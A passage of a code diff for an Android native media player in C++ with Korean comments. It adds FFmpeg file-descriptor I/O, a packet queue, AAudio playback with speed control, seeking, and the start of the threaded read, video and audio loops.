+bool MediaAsset::loadVideoWithFFmpeg(int fd) {
+    type_ = Type::VIDEO;
+
+    // 1. fd를 FILE* 스트림으로 변환
+    FILE* file = fdopen(fd, "rb");
+    if (!file) {
+        LOGE("Custom I/O: Failed to fdopen for fd: %d", fd);
+        close(fd); // fdopen 실패 시 fd를 직접 닫음
+        return false;
+    }
+
+    // 2. FFmpeg Custom I/O를 위한 버퍼 및 컨텍스트 생성
+    const int buffer_size = 4096;
+    unsigned char* buffer = (unsigned char*)av_malloc(buffer_size);
+    AVIOContext* ioCtx = avio_alloc_context(
+            buffer, buffer_size, 0, file, &read_packet, nullptr, &seek_packet
+    );
+    if (!ioCtx) {
+        LOGE("Custom I/O: Failed to avio_alloc_context");
+        fclose(file);
+        av_free(buffer);
+        return false;
+    }
+
+    fmtCtx_ = avformat_alloc_context();
+    fmtCtx_->pb = ioCtx; // 생성한 I/O 컨텍스트를 포맷 컨텍스트에 연결
+
+    // 3. avformat_open_input 호출 (첫 번째 인자로 nullptr 전달)
+    if (avformat_open_input(&fmtCtx_, nullptr, nullptr, nullptr) != 0) {
+        LOGE("Custom I/O: avformat_open_input failed");
+        // 실패 시 자원 정리 (fmtCtx_는 여기서 해제하면 안됨)
+        avio_context_free(&fmtCtx_->pb); // fmtCtx_가 소유권을 가져갔으므로 이렇게 해제
+        fmtCtx_ = nullptr;
+        // fclose는 이미 ioCtx가 관리하므로 호출 불필요
+        return false;
+    }
+
+    // --- 이후 로직은 기존과 동일 ---
+    if (avformat_find_stream_info(fmtCtx_, nullptr) < 0) {
+        LOGE("Could not find stream information");
+        release(); return false;
+    }
+    const AVCodec* codec = nullptr;
+    videoStreamIdx_ = av_find_best_stream(fmtCtx_, AVMEDIA_TYPE_VIDEO, -1, -1, &codec, 0);
+    if (videoStreamIdx_ < 0) {
+        LOGE("Could not find a video stream");
+        release(); return false;
+    }
+    AVStream* stream = fmtCtx_->streams[videoStreamIdx_];
+    if (stream->avg_frame_rate.den != 0) {
+        fps_ = av_q2d(stream->avg_frame_rate);
+    } else {
+        fps_ = 30.0; // FPS 정보가 없는 경우 기본값 30
+    }
+    LOGI("Video FPS detected: %f", fps_);
+    codecCtx_ = avcodec_alloc_context3(codec);
+    if (!codecCtx_ || avcodec_parameters_to_context(codecCtx_, fmtCtx_->streams[videoStreamIdx_]->codecpar) < 0) {
+        LOGE("Failed to create codec context");
+        release(); return false;
+    }
+    if (avcodec_open2(codecCtx_, codec, nullptr) < 0) {
+        LOGE("Could not open codec");
+        release(); return false;
+    }
+    frame_ = av_frame_alloc();
+    packet_ = av_packet_alloc();
+    if (!frame_ || !packet_) {
+        LOGE("Could not allocate frame or packet");
+        release(); return false;
+    }
+    width_ = codecCtx_->width;
+    height_ = codecCtx_->height;
+    swsCtx_ = sws_getContext(width_, height_, codecCtx_->pix_fmt, width_, height_, AV_PIX_FMT_BGRA, SWS_BILINEAR, nullptr, nullptr, nullptr);
+    if (!swsCtx_) {
+        LOGE("Could not create SwsContext");
+        release(); return false;
+    }
+    rgbBuffer_.resize(width_ * height_ * 4);
+
+    LOGI("Successfully loaded video via Custom I/O from fd: %d", fd);
+    return true;
+}
+
+
+// 기존의 path 기반 비디오 로딩 함수 (이제 거의 사용되지 않음)
+bool MediaAsset::loadVideoWithFFmpeg(const std::string& path) {
+    type_ = Type::VIDEO;
+    if (avformat_open_input(&fmtCtx_, path.c_str(), nullptr, nullptr) != 0) {
+        LOGE("Could not open video file: %s", path.c_str());
+        release(); return false;
+    }
+    // ... (이하 로직은 Custom I/O 버전과 동일)
+    if (avformat_find_stream_info(fmtCtx_, nullptr) < 0) { release(); return false; }
+    const AVCodec* codec = nullptr;
+    videoStreamIdx_ = av_find_best_stream(fmtCtx_, AVMEDIA_TYPE_VIDEO, -1, -1, &codec, 0);
+    if (videoStreamIdx_ < 0) { release(); return false; }
+    // --- ⬇️ FPS 추출 코드 추가 (동일한 코드) ⬇️ ---
+    AVStream* stream = fmtCtx_->streams[videoStreamIdx_];
+    if (stream->avg_frame_rate.den != 0) {
+        fps_ = av_q2d(stream->avg_frame_rate);
+    } else {
+        fps_ = 30.0;
+    }
+    LOGI("Video FPS detected: %f", fps_);
+    codecCtx_ = avcodec_alloc_context3(codec);
+    if (!codecCtx_ || avcodec_parameters_to_context(codecCtx_, fmtCtx_->streams[videoStreamIdx_]->codecpar) < 0) { release(); return false; }
+    if (avcodec_open2(codecCtx_, codec, nullptr) < 0) { release(); return false; }
+    frame_ = av_frame_alloc(); packet_ = av_packet_alloc();
+    if (!frame_ || !packet_) { release(); return false; }
+    width_ = codecCtx_->width; height_ = codecCtx_->height;
+    swsCtx_ = sws_getContext(width_, height_, codecCtx_->pix_fmt, width_, height_, AV_PIX_FMT_BGRA, SWS_BILINEAR, nullptr, nullptr, nullptr);
+    if (!swsCtx_) { release(); return false; }
+    rgbBuffer_.resize(width_ * height_ * 4);
+    LOGI("Successfully loaded video from path: %s", path.c_str());
+    return true;
+}
+
+
+void MediaAsset::release() {
+    if (type_ == Type::IMAGE && imageData_) {
+        stbi_image_free(imageData_);
+    }
+    imageData_ = nullptr;
+    if (packet_) av_packet_free(&packet_);
+    if (frame_) av_frame_free(&frame_);
+//    if (codecCtx_) avcodec_close(codecCtx_);
+//    if (codecCtx_) avcodec_free_context(&codecCtx_);
+    if (codecCtx_) avcodec_free_context(&codecCtx_);
+
+    if (fmtCtx_) {
+        // Custom I/O로 열었을 경우, IO 컨텍스트의 버퍼를 직접 해제해주어야 함
+        if (fmtCtx_->pb) {
+            if (fmtCtx_->pb->buffer) {
+                av_free(fmtCtx_->pb->buffer);
+                fmtCtx_->pb->buffer = nullptr;
+            }
+            // FILE*는 avio_context_free가 닫아주지 않으므로, 우리가 직접 닫아야 함
+            if (fmtCtx_->pb->opaque) {
+                fclose((FILE*)fmtCtx_->pb->opaque);
+                fmtCtx_->pb->opaque = nullptr;
+            }
+            avio_context_free(&fmtCtx_->pb);
+        }
+        avformat_close_input(&fmtCtx_);
+    }
+    if (swsCtx_) sws_freeContext(swsCtx_);
+
+    packet_ = nullptr;
+    frame_ = nullptr;
+    codecCtx_ = nullptr;
+    fmtCtx_ = nullptr;
+    swsCtx_ = nullptr;
+    type_ = Type::UNKNOWN;
+    width_ = 0;
+    height_ = 0;
+    videoStreamIdx_ = -1;
+    rgbBuffer_.clear();
+}
+
+bool MediaAsset::isValid() const {
+    if (type_ == Type::IMAGE) {
+        return imageData_ != nullptr && width_ > 0 && height_ > 0;
+    } else if (type_ == Type::VIDEO) {
+        return fmtCtx_ != nullptr && codecCtx_ != nullptr && frame_ != nullptr && swsCtx_ != nullptr;
+    }
+    return false;
+}

app/src/main/cpp/MediaAsset.h

@@ -0,0 +1,77 @@
+#pragma once
+
+#include <string>
+#include <vector>
+#include <cstdint>
+#include <fstream>
+
+// C언어 라이브러리와의 호환성을 위한 extern "C" 블록
+extern "C" {
+// NOTE: 가장 기초가 되는 avutil.h를 제일 먼저 포함해야 합니다.
+#include <libavutil/avutil.h>
+#include <libavformat/avformat.h>
+#include <libavcodec/avcodec.h>
+#include <libswscale/swscale.h>
+}
+
+class MediaAsset {
+public:
+    enum class Type { UNKNOWN, IMAGE, VIDEO };
+
+    MediaAsset() = default;
+    ~MediaAsset();
+
+    // 복사를 방지하고 자원의 소유권을 효율적으로 이전하기 위한 이동 생성자 및 연산자
+    MediaAsset(MediaAsset&& other) noexcept;
+    MediaAsset& operator=(MediaAsset&& other) noexcept;
+
+    // 파일을 로드하는 메인 함수 (오버로딩)
+    bool load(const std::string& path);
+    bool load(int fd);
+
+    // 모든 자원을 해제하는 함수
+    void release();
+
+    // 현재 미디어가 유효한지 확인
+    bool isValid() const;
+
+    // Getter 함수들
+    Type getType() const { return type_; }
+    int getWidth() const { return width_; }
+    int getHeight() const { return height_; }
+    const uint8_t* getImageData() const { return imageData_; }
+    std::vector<uint8_t>& getRgbBuffer() { return rgbBuffer_; }
+    const std::vector<uint8_t>& getRgbBuffer() const { return rgbBuffer_; }
+
+
+    // FFmpeg 비디오 처리를 위한 Getter 함수들
+    AVFormatContext* getFormatContext() const { return fmtCtx_; }
+    AVCodecContext* getCodecContext() const { return codecCtx_; }
+    AVFrame* getFrame() const { return frame_; }
+    AVPacket* getPacket() const { return packet_; }
+    SwsContext* getSwsContext() const { return swsCtx_; }
+    int getVideoStreamIndex() const { return videoStreamIdx_; }
+    double getFps() const { return fps_; } // <-- FPS getter 추가
+
+private:
+    bool loadInternal(const std::string& path);
+    // --- ⬇️ 수정된 부분: int fd를 받는 함수 선언 추가 ⬇️ ---
+    bool loadVideoWithFFmpeg(const std::string& path);
+    bool loadVideoWithFFmpeg(int fd); // Custom I/O를 위한 오버로딩
+    bool loadImageWithStb(const std::string& path);
+    // --- 수정 끝 ---
+
+    Type type_ = Type::UNKNOWN;
+    int width_ = 0;
+    int height_ = 0;
+
+    uint8_t* imageData_ = nullptr;
+    std::vector<uint8_t> rgbBuffer_;
+    AVFormatContext* fmtCtx_ = nullptr;
+    AVCodecContext* codecCtx_ = nullptr;
+    AVFrame* frame_ = nullptr;
+    AVPacket* packet_ = nullptr;
+    SwsContext* swsCtx_ = nullptr;
+    int videoStreamIdx_ = -1;
+    double fps_ = 0.0; // <-- FPS 저장 변수 추가
+};

app/src/main/cpp/PacketQueue.h

@@ -0,0 +1,74 @@
+//
+// Created by JIBUM HAN on 2026. 4. 11..
+//
+#pragma once
+#include <queue>
+#include <mutex>
+#include <condition_variable>
+
+extern "C" {
+#include <libavcodec/avcodec.h>
+}
+
+class PacketQueue {
+private:
+    std::queue<AVPacket*> queue_;
+    std::mutex mutex_;
+    std::condition_variable cond_;
+    int sizeBytes_ = 0;
+    bool abortRequest_ = false; // 플레이어 종료 시 대기 중인 스레드를 깨우기 위함
+
+public:
+    void abort() {
+        std::lock_guard<std::mutex> lock(mutex_);
+        abortRequest_ = true;
+        cond_.notify_all();
+    }
+
+    void start() {
+        std::lock_guard<std::mutex> lock(mutex_);
+        abortRequest_ = false;
+    }
+
+    bool push(AVPacket* pkt) {
+        std::lock_guard<std::mutex> lock(mutex_);
+        if (abortRequest_) return false;
+
+        // 패킷 복사 (메모리 소유권을 큐로 넘김)
+        AVPacket* pkt1 = av_packet_alloc();
+        av_packet_move_ref(pkt1, pkt);
+
+        queue_.push(pkt1);
+        sizeBytes_ += pkt1->size;
+        cond_.notify_one(); // 데이터를 기다리며 자고 있는 디코딩 스레드를 깨움
+        return true;
+    }
+
+    // 데이터를 꺼낼 때 큐가 비어있으면 block(대기) 상태가 됨
+    AVPacket* pop() {
+        std::unique_lock<std::mutex> lock(mutex_);
+        cond_.wait(lock, [this]() { return !queue_.empty() || abortRequest_; });
+
+        if (abortRequest_ || queue_.empty()) return nullptr;
+
+        AVPacket* pkt = queue_.front();
+        queue_.pop();
+        sizeBytes_ -= pkt->size;
+        return pkt;
+    }
+
+    void flush() {
+        std::lock_guard<std::mutex> lock(mutex_);
+        while (!queue_.empty()) {
+            AVPacket* pkt = queue_.front();
+            queue_.pop();
+            av_packet_free(&pkt);
+        }
+        sizeBytes_ = 0;
+    }
+
+    int getSizeBytes() {
+        std::lock_guard<std::mutex> lock(mutex_);
+        return sizeBytes_;
+    }
+};

app/src/main/cpp/PlayerEngine.cpp

@@ -0,0 +1,627 @@
+#include "PlayerEngine.h"
+#include <android/log.h>
+#include <chrono>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <errno.h>
+
+#define LOG_TAG "NativePlayerEngine"
+#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+const int MIN_BUFFER_SIZE = 2 * 1024 * 1024;
+
+static int custom_read_packet(void *opaque, uint8_t *buf, int buf_size) {
+    int fd = (int)(intptr_t)opaque;
+    int ret = read(fd, buf, buf_size);
+    if (ret == 0) return AVERROR_EOF;
+    if (ret < 0) return AVERROR(errno);
+    return ret;
+}
+
+static int64_t custom_seek_packet(void *opaque, int64_t offset, int whence) {
+    int fd = (int)(intptr_t)opaque;
+    if (whence == AVSEEK_SIZE) {
+        struct stat st;
+        if (fstat(fd, &st) == 0) return st.st_size;
+        return AVERROR(errno);
+    }
+    whence &= ~AVSEEK_FORCE;
+    int64_t ret = lseek(fd, offset, whence);
+    return ret < 0 ? AVERROR(errno) : ret;
+}
+
+PlayerEngine::PlayerEngine(JavaVM* vm, jobject listenerObj) : jvm_(vm) {
+    JNIEnv* env;
+    jvm_->GetEnv((void**)&env, JNI_VERSION_1_6);
+    listenerObj_ = env->NewGlobalRef(listenerObj);
+    jclass clazz = env->GetObjectClass(listenerObj_);
+
+    auto safeGetMethod = [&](const char* name, const char* sig) -> jmethodID {
+        jmethodID id = env->GetMethodID(clazz, name, sig);
+        if (env->ExceptionCheck()) {
+            env->ExceptionClear();
+            LOGE("❌ Failed to find method: %s %s", name, sig);
+            return nullptr;
+        }
+        return id;
+    };
+
+    subtitleMethodId_  = safeGetMethod("onSubtitleTextDecoded", "(Ljava/lang/String;)V");
+    videoSizeMethodId_ = safeGetMethod("onVideoSizeChanged", "(II)V");
+    preparedMethodId_  = safeGetMethod("onNativePrepared", "()V");
+    errorMethodId_     = safeGetMethod("onNativeError", "(ILjava/lang/String;)V");
+}
+
+PlayerEngine::~PlayerEngine() {
+    stop();
+    if (prepareThread_.joinable()) prepareThread_.join(); // 준비 스레드 대기
+    if (listenerObj_) {
+        JNIEnv* env; jvm_->GetEnv((void**)&env, JNI_VERSION_1_6);
+        env->DeleteGlobalRef(listenerObj_);
+    }
+}
+
+void PlayerEngine::setDataSource(int videoFd, int subtitleFd) {
+    videoFd_ = videoFd;
+    subtitleFd_ = subtitleFd;
+}
+
+void PlayerEngine::prepareAsync() {
+    if (isPrepared_ || prepareThread_.joinable()) return;
+    prepareThread_ = std::thread(&PlayerEngine::prepareInternal, this);
+}
+
+void PlayerEngine::prepareInternal() {
+    JNIEnv* env;
+    jvm_->AttachCurrentThread(&env, nullptr);
+
+    auto sendError = [&](int code, const char* msg) {
+        LOGE("Prepare Error [%d]: %s", code, msg);
+        if (errorMethodId_) {
+            jstring jMsg = env->NewStringUTF(msg);
+            env->CallVoidMethod(listenerObj_, errorMethodId_, code, jMsg);
+            env->DeleteLocalRef(jMsg);
+        }
+        jvm_->DetachCurrentThread();
+    };
+
+    int avio_buffer_size = 32768;
+    uint8_t* avio_buffer = (uint8_t*)av_malloc(avio_buffer_size);
+    AVIOContext* avio_ctx = avio_alloc_context(avio_buffer, avio_buffer_size, 0, (void*)(intptr_t)videoFd_, custom_read_packet, nullptr, custom_seek_packet);
+    fmt_ctx_ = avformat_alloc_context();
+    fmt_ctx_->pb = avio_ctx;
+
+    if (avformat_open_input(&fmt_ctx_, nullptr, nullptr, nullptr) < 0) {
+        return sendError(-1001, "Failed to open video file. Invalid FD or Format.");
+    }
+    if (avformat_find_stream_info(fmt_ctx_, nullptr) < 0) {
+        return sendError(-1002, "Failed to retrieve stream information.");
+    }
+
+    subtitle_tracks_info_ = "";
+    for (unsigned int i = 0; i < fmt_ctx_->nb_streams; i++) {
+        auto type = fmt_ctx_->streams[i]->codecpar->codec_type;
+        if (type == AVMEDIA_TYPE_VIDEO && video_stream_idx_ < 0) video_stream_idx_ = i;
+        else if (type == AVMEDIA_TYPE_AUDIO && audio_stream_idx_ < 0) audio_stream_idx_ = i;
+        else if (type == AVMEDIA_TYPE_SUBTITLE) {
+            AVDictionaryEntry *lang = av_dict_get(fmt_ctx_->streams[i]->metadata, "language", nullptr, 0);
+            AVDictionaryEntry *title = av_dict_get(fmt_ctx_->streams[i]->metadata, "title", nullptr, 0);
+            std::string trackName = "Track " + std::to_string(i);
+            if (title) trackName = title->value;
+            else if (lang) trackName = lang->value;
+            subtitle_tracks_info_ += std::to_string(i) + ":" + trackName + ",";
+        }
+    }
+
+    if (video_stream_idx_ >= 0) {
+        auto par = fmt_ctx_->streams[video_stream_idx_]->codecpar;
+        auto codec = avcodec_find_decoder(par->codec_id);
+        video_codec_ctx_ = avcodec_alloc_context3(codec);
+        avcodec_parameters_to_context(video_codec_ctx_, par);
+        if (avcodec_open2(video_codec_ctx_, codec, nullptr) == 0 && videoSizeMethodId_) {
+            env->CallVoidMethod(listenerObj_, videoSizeMethodId_, video_codec_ctx_->width, video_codec_ctx_->height);
+        }
+    }
+
+    if (audio_stream_idx_ >= 0) {
+        auto par = fmt_ctx_->streams[audio_stream_idx_]->codecpar;
+        auto codec = avcodec_find_decoder(par->codec_id);
+        audio_codec_ctx_ = avcodec_alloc_context3(codec);
+        avcodec_parameters_to_context(audio_codec_ctx_, par);
+        if (avcodec_open2(audio_codec_ctx_, codec, nullptr) == 0) {
+            AVChannelLayout out_ch; av_channel_layout_default(&out_ch, 2);
+            swr_alloc_set_opts2(&swr_ctx_, &out_ch, AV_SAMPLE_FMT_S16, 48000, &audio_codec_ctx_->ch_layout, audio_codec_ctx_->sample_fmt, audio_codec_ctx_->sample_rate, 0, nullptr);
+            swr_init(swr_ctx_);
+
+            AAudioStreamBuilder* builder;
+            AAudio_createStreamBuilder(&builder);
+            AAudioStreamBuilder_setFormat(builder, AAUDIO_FORMAT_PCM_I16);
+            AAudioStreamBuilder_setChannelCount(builder, 2);
+            AAudioStreamBuilder_setSampleRate(builder, 48000);
+            AAudioStreamBuilder_openStream(builder, &audio_stream_);
+
+            // 💡 1. 버퍼 크기를 가용 가능한 최대치로 늘려서 비디오 렌더링 딜레이에 대비합니다.
+            AAudioStream_setBufferSizeInFrames(audio_stream_, AAudioStream_getBufferCapacityInFrames(audio_stream_));
+
+            // 🚀 Sonic 초기화 추가 (Sample Rate 48000, Channels 2)
+            sonic_stream_ = sonicCreateStream(48000, 2);
+            sonicSetSpeed(sonic_stream_, 1.0f); // 초기 배속 1.0
+
+            // 💡 2. 여기서 호출하던 AAudioStream_requestStart(audio_stream_); 를 삭제합니다! (대기 상태로 둠)
+
+            AAudioStreamBuilder_delete(builder);
+        }
+    }
+
+    isPrepared_ = true;
+    if (preparedMethodId_) env->CallVoidMethod(listenerObj_, preparedMethodId_);
+    jvm_->DetachCurrentThread();
+}
+
+void PlayerEngine::play(ANativeWindow* window) {
+    if (!isPrepared_) return;
+    if (isPlaying_) return;
+
+    window_ = window;
+    ANativeWindow_acquire(window_);
+    isPlaying_ = true;
+    abortRequest_ = false;
+
+    videoQueue_.start();
+    audioQueue_.start();
+
+    if (audio_stream_) AAudioStream_requestStart(audio_stream_);
+
+    // 🚀 3개의 스레드 동시 가동
+    readThread_ = std::thread(&PlayerEngine::readThreadLoop, this);
+    videoThread_ = std::thread(&PlayerEngine::videoThreadLoop, this);
+    audioThread_ = std::thread(&PlayerEngine::audioThreadLoop, this);
+}
+
+
+
+void PlayerEngine::pause() {
+    isPaused_ = true;
+    // 💡 영상이 일시정지되면 오디오 버퍼도 소모되지 않게 멈춰줍니다.
+    if (audio_stream_) AAudioStream_requestPause(audio_stream_);
+}
+
+void PlayerEngine::stop() {
+    if (!isPlaying_) return;
+    isPlaying_ = false;
+    abortRequest_ = true;
+
+    // 큐를 깨워서 멈춰있는 스레드들을 탈출시킴
+    videoQueue_.abort();
+    audioQueue_.abort();
+
+    if (readThread_.joinable()) readThread_.join();
+    if (videoThread_.joinable()) videoThread_.join();
+    if (audioThread_.joinable()) audioThread_.join();
+
+    videoQueue_.flush();
+    audioQueue_.flush();
+    if (sonic_stream_) {
+        sonicDestroyStream(sonic_stream_);
+        sonic_stream_ = nullptr;
+    }
+    if (window_) { ANativeWindow_release(window_); window_ = nullptr; }
+}
+
+void PlayerEngine::seekBy(double seconds) {
+    seekTargetOffset_ = seconds;
+    seekReq_ = true;
+}
+
+void PlayerEngine::setSpeed(float speed) {
+    float oldSpeed = playbackSpeed_.load();
+    playbackSpeed_ = speed > 0.0f ? speed : 1.0f;
+
+
+    // 💡 배속이 종료(1.0으로 복귀)될 때만 특별 처리를 위해 플래그 설정
+    if (oldSpeed != 1.0f && speed == 1.0f) {
+        seekReq_ = true; // 강제 Flush를 위해 Seek 로직을 재활용합니다.
+        isAbsoluteSeek_ = true;
+        seekTargetSec_ = currentPosSec_; // 현재 비디오 위치로 오디오를 강제 고정
+    }
+    if (sonic_stream_) {
+        sonicSetSpeed(sonic_stream_, playbackSpeed_.load());
+    }
+}
+
+void PlayerEngine::sendSubtitleToKotlin(const char* text) {
+    if (!jvm_ || !listenerObj_ || !subtitleMethodId_ || !text) return;
+    JNIEnv* env; bool attached = false;
+    if (jvm_->GetEnv((void**)&env, JNI_VERSION_1_6) != JNI_OK) { jvm_->AttachCurrentThread(&env, nullptr); attached = true; }
+    jstring jText = env->NewStringUTF(text);
+    env->CallVoidMethod(listenerObj_, subtitleMethodId_, jText);
+    env->DeleteLocalRef(jText);
+    if (attached) jvm_->DetachCurrentThread();
+}
+
+double PlayerEngine::getDuration() const {
+    if (fmt_ctx_ && fmt_ctx_->duration != AV_NOPTS_VALUE) {
+        return (double)fmt_ctx_->duration / AV_TIME_BASE;
+    }
+    return 0.0;
+}
+
+void PlayerEngine::seekTo(double seconds) {
+    seekTargetSec_ = seconds;
+    isAbsoluteSeek_ = true;
+    seekReq_ = true;
+}
+
+//void PlayerEngine::renderLoop() {
+//    LOGI("🚀 Player render loop started (AV Sync & Performance Optimized)");
+//
+//    AVFrame* frame = av_frame_alloc();
+//    AVPacket* pkt = av_packet_alloc();
+//    int last_win_w = 0, last_win_h = 0;
+//
+//    // 1. 영상의 실제 FPS 정보를 기반으로 프레임당 지연 시간(마이크로초) 계산
+//    double fps = av_q2d(fmt_ctx_->streams[video_stream_idx_]->avg_frame_rate);
+//    if (fps <= 0) fps = 23.976; // 정보가 없을 경우 영화 표준 프레임 레이트 적용
+//    int64_t frame_delay_us = (int64_t)(1000000.0 / fps);
+//
+//    while (isPlaying_) {
+//        // 일시정지 처리
+//        if (isPaused_) {
+//            std::this_thread::sleep_for(std::chrono::milliseconds(20));
+//            continue;
+//        }
+//
+//        // Seek(탐색) 요청 처리
+//        if (seekReq_) {
+//            int64_t seek_target;
+//            if (isAbsoluteSeek_) {
+//                seek_target = (int64_t)(seekTargetSec_ * AV_TIME_BASE);
+//            } else {
+//                seek_target = (int64_t)((currentPosSec_ + seekTargetOffset_) * AV_TIME_BASE);
+//            }
+//
+//            av_seek_frame(fmt_ctx_, -1, seek_target, AVSEEK_FLAG_BACKWARD);
+//
+//            if (video_codec_ctx_) avcodec_flush_buffers(video_codec_ctx_);
+//            if (audio_codec_ctx_) avcodec_flush_buffers(audio_codec_ctx_);
+//
+//            if (audio_stream_) {
+//                AAudioStream_requestPause(audio_stream_);
+//                AAudioStream_requestFlush(audio_stream_);
+//                AAudioStream_requestStart(audio_stream_);
+//            }
+//            seekReq_ = false;
+//            isAbsoluteSeek_ = false; // 플래그 초기화
+//        }
+//
+//        float currentSpeed = playbackSpeed_.load();
+//
+//        // 패킷 읽기
+//        if (av_read_frame(fmt_ctx_, pkt) < 0) break;
+//
+//        // --- 비디오 스트림 처리 ---
+//        if (pkt->stream_index == video_stream_idx_) {
+//            // 💡 프레임 렌더링 시작 시간 기록
+//            auto frame_start = std::chrono::high_resolution_clock::now();
+//
+//            avcodec_send_packet(video_codec_ctx_, pkt);
+//            while (avcodec_receive_frame(video_codec_ctx_, frame) == 0) {
+//                // 현재 재생 시간(초) 업데이트
+//                currentPosSec_ = frame->pts * av_q2d(fmt_ctx_->streams[video_stream_idx_]->time_base);
+//
+//                if (window_) {
+//                    int w = ANativeWindow_getWidth(window_), h = ANativeWindow_getHeight(window_);
+//                    if (!sws_ctx_ || w != last_win_w || h != last_win_h) {
+//                        if (sws_ctx_) sws_freeContext(sws_ctx_);
+//                        sws_ctx_ = sws_getContext(frame->width, frame->height, video_codec_ctx_->pix_fmt, w, h, AV_PIX_FMT_RGBA, SWS_BILINEAR, nullptr, nullptr, nullptr);
+//                        last_win_w = w; last_win_h = h;
+//                    }
+//
+//                    ANativeWindow_Buffer buffer;
+//                    if (ANativeWindow_lock(window_, &buffer, nullptr) == 0) {
+//                        uint8_t* dst_data[4] = { (uint8_t*)buffer.bits, nullptr, nullptr, nullptr };
+//                        int dst_line[4] = { buffer.stride * 4, 0, 0, 0 };
+//                        if (sws_ctx_) sws_scale(sws_ctx_, frame->data, frame->linesize, 0, frame->height, dst_data, dst_line);
+//                        ANativeWindow_unlockAndPost(window_);
+//                    }
+//                }
+//
+//                // 💡 [핵심 동기화] 연산에 소요된 시간을 제외한 나머지 시간만 대기
+//                auto frame_end = std::chrono::high_resolution_clock::now();
+//                int64_t actual_render_time = std::chrono::duration_cast<std::chrono::microseconds>(frame_end - frame_start).count();
+//
+//                // 배속(currentSpeed)을 고려한 대기 시간 계산
+//                int64_t wait_time = (int64_t)((frame_delay_us / currentSpeed) - actual_render_time);
+//
+//                if (wait_time > 0) {
+//                    std::this_thread::sleep_for(std::chrono::microseconds(wait_time));
+//                }
+//            }
+//        }
+//            // --- 오디오 스트림 처리 ---
+//        else if (pkt->stream_index == audio_stream_idx_) {
+//            // 정속 재생(1.0)일 때만 오디오 재생 (오디오 배속은 로직이 복잡하므로 정속 위주 최적화)
+//            if (currentSpeed == 1.0f) {
+//                avcodec_send_packet(audio_codec_ctx_, pkt);
+//                while (avcodec_receive_frame(audio_codec_ctx_, frame) == 0) {
+//                    if (swr_ctx_ && audio_stream_) {
+//                        int out_samples = swr_get_out_samples(swr_ctx_, frame->nb_samples);
+//                        uint8_t* out_buf = (uint8_t*)malloc(out_samples * 4);
+//                        int converted_samples = swr_convert(swr_ctx_, &out_buf, out_samples, (const uint8_t**)frame->data, frame->nb_samples);
+//
+//                        if (converted_samples > 0) {
+//                            // 💡 [수정] 타임아웃을 0으로 설정하여 오디오 버퍼가 꽉 차도 비디오 스레드가 멈추지 않게 함
+//                            AAudioStream_write(audio_stream_, out_buf, converted_samples, 0);
+//                        }
+//                        free(out_buf);
+//                    }
+//                }
+//            }
+//        }
+//            // --- 자막 스트림 처리 ---
+//        else if (pkt->stream_index == current_sub_stream_idx_) {
+//            AVSubtitle sub; int got_sub = 0;
+//            avcodec_decode_subtitle2(sub_codec_ctx_, &sub, &got_sub, pkt);
+//            if (got_sub) {
+//                for (unsigned int i = 0; i < sub.num_rects; i++) {
+//                    if (sub.rects[i]->type == SUBTITLE_TEXT && sub.rects[i]->text) sendSubtitleToKotlin(sub.rects[i]->text);
+//                    else if (sub.rects[i]->type == SUBTITLE_ASS && sub.rects[i]->ass) sendSubtitleToKotlin(sub.rects[i]->ass);
+//                }
+//                avsubtitle_free(&sub);
+//            }
+//        }
+//        av_packet_unref(pkt);
+//    }
+//
+//    // 자원 해제 로직
+//    if (audio_stream_) {
+//        AAudioStream_requestStop(audio_stream_);
+//        AAudioStream_close(audio_stream_);
+//        audio_stream_ = nullptr;
+//    }
+//    av_frame_free(&frame);
+//    av_packet_free(&pkt);
+//    if (swr_ctx_) swr_free(&swr_ctx_);
+//    if (sws_ctx_) sws_freeContext(sws_ctx_);
+//    if (video_codec_ctx_) avcodec_free_context(&video_codec_ctx_);
+//    if (audio_codec_ctx_) avcodec_free_context(&audio_codec_ctx_);
+//    if (fmt_ctx_) avformat_close_input(&fmt_ctx_);
+//
+//    LOGI("🏁 Player loop finished gracefully.");
+//}
+
+
+void PlayerEngine::readThreadLoop() {
+    AVPacket* pkt = av_packet_alloc();
+    const int MAX_QUEUE_SIZE = 15 * 1024 * 1024;
+
+    while (!abortRequest_) {
+
+        // 🚀 [탐색(Seek) 처리 로직]
+        if (seekReq_) {
+            // 1. 목표 시간 계산
+            double targetSec = isAbsoluteSeek_ ? seekTargetSec_.load() : (currentPosSec_ + seekTargetOffset_.load());
+            int64_t seek_target = (int64_t)(targetSec * AV_TIME_BASE);
+
+            // 2. FFmpeg 탐색 수행
+            av_seek_frame(fmt_ctx_, -1, seek_target, AVSEEK_FLAG_BACKWARD);
+
+            // 3. 💡 [핵심] 기존에 큐에 쌓여있던 옛날 패킷들을 전부 폭파!
+            videoQueue_.flush();
+            audioQueue_.flush();
+
+            // 4. 코덱 내부에 남아있는 옛날 프레임 찌꺼기 초기화
+//            if (video_codec_ctx_) avcodec_flush_buffers(video_codec_ctx_);
+//            videoCodecFlushReq_ = false;
+//            if (audio_codec_ctx_) avcodec_flush_buffers(audio_codec_ctx_);
+//             // 이미 비웠으므로 false
+//            audioCodecFlushReq_ = false;
+//            if (sonic_stream_) {
+//                sonicFlushStream(sonic_stream_);
+//            }
+//
+//            // 5. 오디오 장치 초기화 (틱 잡음 방지)
+//            if (audio_stream_) {
+//                AAudioStream_requestPause(audio_stream_);
+//                AAudioStream_requestFlush(audio_stream_);
+//                AAudioStream_requestStart(audio_stream_);
+//            }
+
+            videoCodecFlushReq_ = true;
+            audioCodecFlushReq_ = true;
+
+            // 6. 💡 [매우 중요] 마스터 시계 강제 업데이트
+            // 이거 안 하면 비디오 스레드가 옛날 오디오 시간과 비교하느라 화면이 굳어버립니다.
+            audioClock_ = targetSec;
+            currentPosSec_ = targetSec;
+
+            seekReq_ = false;
+            isAbsoluteSeek_ = false;
+
+            // 초기화가 끝났으니 다시 패킷을 처음부터 읽으러 올라갑니다.
+            continue;
+        }
+        // 일시정지 상태거나 큐가 너무 꽉 찼다면 잠시 대기
+        if (isPaused_ || (videoQueue_.getSizeBytes() + audioQueue_.getSizeBytes() > MAX_QUEUE_SIZE)) {
+            std::this_thread::sleep_for(std::chrono::milliseconds(10));
+            continue;
+        }
+
+        if (av_read_frame(fmt_ctx_, pkt) < 0) {
+            // EOF (파일 끝) 도달 시 대기
+            std::this_thread::sleep_for(std::chrono::milliseconds(10));
+            continue;
